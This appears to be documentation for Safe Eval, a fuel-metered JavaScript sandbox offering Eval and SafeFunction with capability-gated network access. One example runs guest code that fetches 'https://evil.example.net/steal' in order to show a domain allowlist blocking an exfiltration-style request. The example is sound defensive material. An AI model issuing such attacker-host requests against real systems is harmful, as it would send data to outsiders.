Safe Eval

eval is too powerful to be allowed, which in practice means it is useless: no one sensible lets untrusted code run with the full authority of the page, so the most dynamic feature in the language goes unused. The goal was the opposite trade — make something as powerful as possible while still being safe — and what came out is safer than the code around it. The code that calls it is not guaranteed to halt, and neither is the code it calls; Safe Eval is. So eval goes from the most dangerous execution environment in a project to the least dangerous.

It is the same machine as AJS — a fuel-metered VM with no ambient authority — exposed as the two calls JavaScript already has: eval() becomes Eval, new Function() becomes SafeFunction.

Eval — run code once

Eval runs a snippet of code in the sandbox and returns what it produced, with the fuel it used. The code sees only the context you hand it.

import { Eval, SafeFunction } from 'tjs-lang/eval'

const { result, fuelUsed } = await Eval({ code: 'a + b', context: { a: 1, b: 2 } })
console.log(result) // → 3
console.log(fuelUsed > 0) // → true

Only context keys the code uses as names become variables, and a key never replaces a builtin: a context entry called Math or NaN is ignored rather than rebinding it. A local the code declares (let a = … or const a = …) shadows a context key of the same name.

SafeFunction — compile once, call many times

SafeFunction turns a function body into a callable. Its parameters are names, and each call returns the same shape as Eval.

const add = await SafeFunction({ params: ['a', 'b'], body: 'return a + b' })
console.log((await add(1, 2)).result) // → 3
console.log((await add(20, 22)).result) // → 42

Nothing runs forever

Every step costs fuel, and a run that spends its budget is stopped. The failure comes back as a value — an error alongside the result — rather than as an exception the caller has to catch.

const runaway = await Eval({
  code: 'let i = 0\nwhile (true) { i = i + 1 }\nreturn i',
  fuel: 100,
})
console.log(runaway.error.message) // → Out of Fuel

Creating a SafeFunction is the exception: a body that does not parse, or is over the source size limit, throws when you create it — before any untrusted code has run.

Nothing reaches out unless you allow it

The sandbox has no network, no file system and no globals. Network access goes through the httpFetch atom, and only if you inject a fetch capability — so the untrusted code gets your fetch, with whatever rules you put in it.

A fetch capability returns the response body as plain data, not a Response: everything a capability returns is copied across a boundary before the guest sees it, so the guest never holds a live host object.

const allowed = ['api.example.com']
const safeFetch = (url, init) => {
  if (!allowed.includes(new URL(url).host)) {
    throw new Error(`Domain not allowed: ${new URL(url).host}`)
  }
  return fetch(url, init).then((r) => r.json()) // the BODY, not the Response
}

const cheap = await Eval({
  code: `
    let products = httpFetch({ url: 'https://api.example.com/products' })
    return products.filter(x => x.price < budget)
  `,
  context: { budget: 100 },
  capabilities: { fetch: safeFetch },
})
console.log(cheap.result) // → [{"name":"widget","price":40}]

const blocked = await Eval({
  code: "return httpFetch({ url: 'https://evil.example.net/steal' })",
  capabilities: { fetch: safeFetch },
})
console.log(blocked.error.message) // → Domain not allowed: evil.example.net

What the sandbox guarantees, and what it does not

Be precise here: a security claim you cannot cash is worse than none.

Safe Eval: capability-based security